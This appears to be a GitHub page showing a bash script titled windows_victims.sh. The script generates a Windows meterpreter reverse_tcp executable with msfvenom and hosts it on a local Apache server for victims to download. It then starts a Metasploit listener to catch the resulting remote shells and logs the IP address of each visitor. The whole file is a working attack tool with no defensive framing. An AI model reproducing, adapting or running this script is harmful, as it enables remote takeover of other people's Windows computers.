-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathwindows_victims.sh
42 lines (31 loc) · 1.36 KB
/
windows_victims.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/bin/bash
# Set the local IP address
LOCAL_IP=$(hostname -I | awk '{print $1}')
# Set the payload name
PAYLOAD_NAME="payload_$(date +%s).exe"
# Set the Metasploit options
LHOST=$LOCAL_IP
LPORT=11506
# Define the start_server function
start_server() {
echo "Web server started at http://$LOCAL_IP/"
echo "To download the payload, visit http://$LOCAL_IP/downloads/$PAYLOAD_NAME"
# Start Apache web server
sudo systemctl start apache2
# Continuously print the access log to the terminal
echo "Visitors:"
sudo tail -f /var/log/apache2/access.log | awk '{print $1}'
}
# Generate the payload using msfvenom
echo "Generating payload..."
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o "/var/www/html/downloads/$PAYLOAD_NAME"
# Set the file permissions for the payload
echo "Setting file permissions..."
sudo chmod 644 "/var/www/html/downloads/$PAYLOAD_NAME"
# Start the Metasploit listener
echo "Starting Metasploit listener..."
gnome-terminal -- msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST $LHOST; set LPORT $LPORT; run"
# Start the web server and print the access log to the terminal
start_server
# Stop the web server and Metasploit listener when the script is terminated
trap 'echo "Stopping web server and Metasploit listener..."; sudo systemctl stop apache2; exit' SIGINT